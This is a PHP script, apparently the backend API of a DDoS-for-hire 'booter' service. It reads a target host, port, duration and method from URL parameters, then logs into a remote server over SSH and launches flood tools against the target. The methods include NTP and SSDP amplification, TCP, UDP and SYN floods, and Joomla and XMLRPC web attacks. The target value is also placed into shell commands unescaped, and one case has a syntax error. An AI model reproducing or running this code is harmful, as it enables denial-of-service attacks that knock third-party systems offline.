api.php
  1. <?php
  2. $servers = array(
  3.         array('serverip', array('user', 'pass')),
  4.         );
  5.  
  6.  
  7. class ssh2
  8. {
  9.    var $connection;
  10.  
  11.    function __construct($host, $user, $pass) {
  12.            if (!$this->connection = ssh2_connect($host, 22))
  13.                    echo "Error connecting to server";
  14.            if (!ssh2_auth_password($this->connection, $user, $pass))
  15.                    echo "Error with login credentials";
  16.    }
  17.  
  18.    function exec($cmd) {
  19.            if (!ssh2_exec($this->connection, $cmd))
  20.                    echo "Error executing command: $cmd";
  21.            ssh2_exec($this->connection, 'exit');
  22.            unset($this->connection);
  23.            return true;
  24.    }
  25. }
  26.  
  27. class API
  28. {
  29.    
  30.     private $get;
  31.     public $message = "None";
  32.     private $server;
  33.     public $isL7 = false;
  34.    
  35.  
  36.     public function __construct(array $server)
  37.     {
  38.         $this->server = $server;
  39.         $this->get = (object) $_GET;
  40.     }
  41.    
  42.     public function start()
  43.     {
  44.  
  45.         if($this->validate()) {
  46.             $this->doBoot();
  47.         }
  48.         return $this->message;
  49.     }
  50.    
  51.    
  52.     private function validate()
  53.     {
  54.  
  55.        
  56.         if (!filter_var($this->get->host, FILTER_VALIDATE_IP)) {
  57.                 if(!filter_var($this->get->host, FILTER_VALIDATE_URL)) {
  58.                         $this->message = "Invalid IP/URL";
  59.                         return false;            
  60.                 }
  61.                 $this->isL7 = true;
  62.         }
  63.        
  64.         if (!intval($this->get->port) >= 1) {
  65.             $this->message = "Invalid Port";
  66.             return false;
  67.         }
  68.        
  69.         if (!intval($this->get->time) >= 1) {
  70.             $this->message = "Invalid Time";
  71.             return false;
  72.         }
  73.  
  74.         return true;
  75.  
  76.     }
  77.    
  78.    
  79.     private function doBoot()
  80.     {
  81.         //screen assigned name
  82.         $smIP = escapeshellarg(str_replace(".", "", $this->get->host));
  83.         //$this->get->host = escapeshellarg($this->get->host);
  84.  
  85.         switch(strtoupper($this->get->method)) {
  86.                        
  87.                         case 'JOOMLA':
  88.                 //Any L7 Methods need this if statement before, otherwise a L7 could attack an IP (wouldn't want that.)
  89.                 if($this->isL7==true) {
  90.                     $command = "screen -dmS Test ./joomla03 {$this->get->host} j.txt {$this->get->time} 512";
  91.                 }
  92.                 $this->message = 'JOOMLA attack sent';
  93.                 break;
  94.                                
  95.                         case 'NTP':
  96.                  $command = "screen -dmS {$smIP} ./ntp {$this->get->host} {$this->get->port} ntp.txt 1 -1 {$this->get->time}";
  97.                  $this->message = 'NTP attack sent';
  98.                 break;
  99.  
  100.             case 'SSDP':
  101.                  $command = "screen -dmS {$smIP} ./ssdp {$this->get->host} {$this->get->port} ssdp.txt 15 {$this->get->time}";
  102.                  $this->message = 'SSDP attack sent';
  103.                 break;
  104.                                
  105.                         case 'TCP':
  106.                  $command = "screen -dmS {$smIP} ./tcp {$this->get->host} {$this->get->port} 80 25 -1 {$this->get->time}";
  107.                  $this->message = 'TCP attack sent';
  108.                 break;
  109.  
  110.             case 'UDP':
  111.                 $command = "screen -dmS {$smIP} perl udp.pl {$this->get->host} {$this->get->port} 1024 {$this->get->time}";
  112.                 $this->message = 'UDP attack sent';
  113.                 break;
  114.                                
  115.                         case 'XSYN':
  116.                  $command = "screen -dmS {$smIP} ./xsyn {$this->get->host} {$this->get->port} 1 -1 {$this->get->time}";
  117.                  $this->message = 'XSYN attack sent';
  118.                 break;
  119.                                
  120.                         case 'SSYN':
  121.                  $command = "screen -dmS {$smIP} ./ssyn {$this->get->host} {$this->get->port} {$this->get->time}";
  122.                  $this->message = 'SSYN attack sent';
  123.                 break
  124.  
  125.             case 'XMLRPC':
  126.                 $command = "screen -dmS {$smIP} ./xmlrpc {$this->get->host} xmlrpc.txt {$this->get->time} 1000";
  127.                 $this->message = 'XMLRPC attack sent';
  128.                 break;
  129.                                
  130.                         case 'DOMINATE':
  131.                  $command = "screen -dmS {$smIP} ./dominate {$this->get->host} {$this->get->port} 20 -1 {$this->get->time}";
  132.                  $this->message = 'DOMINATE attack sent';
  133.                 break;
  134.  
  135.  
  136.             case "STOP":
  137.                 $command = "screen -X -s {$smIP} quit";
  138.                 $this->message = "Attack Stopped";
  139.                 break;
  140.  
  141.             default:
  142.                 $this->message = "Invalid Method";
  143.                 break;
  144.         }
  145.  
  146.         if(!empty($command)) {
  147.  
  148.             $ssh = new ssh2($this->server[0], $this->server[1][0], $this->server[1][1]);
  149.  
  150.             if(!$ssh->exec($command)) {
  151.                 $this->message = 'Error executing attack on server.';
  152.             }
  153.  
  154.         }
  155.  
  156.         return $this->message;
  157.     }  
  158. }
  159.  
  160.  
  161. //Check SSH2 Function
  162. if (!function_exists('ssh2_connect'))
  163. {
  164.     die("Install the php ssh2 module.\n");
  165. }
  166.  
  167. $attack = new API(array($servers[0][0], $servers[0][1]));
  168. $attack->start();
  169. echo $attack->message;
Parsed in 0.105 seconds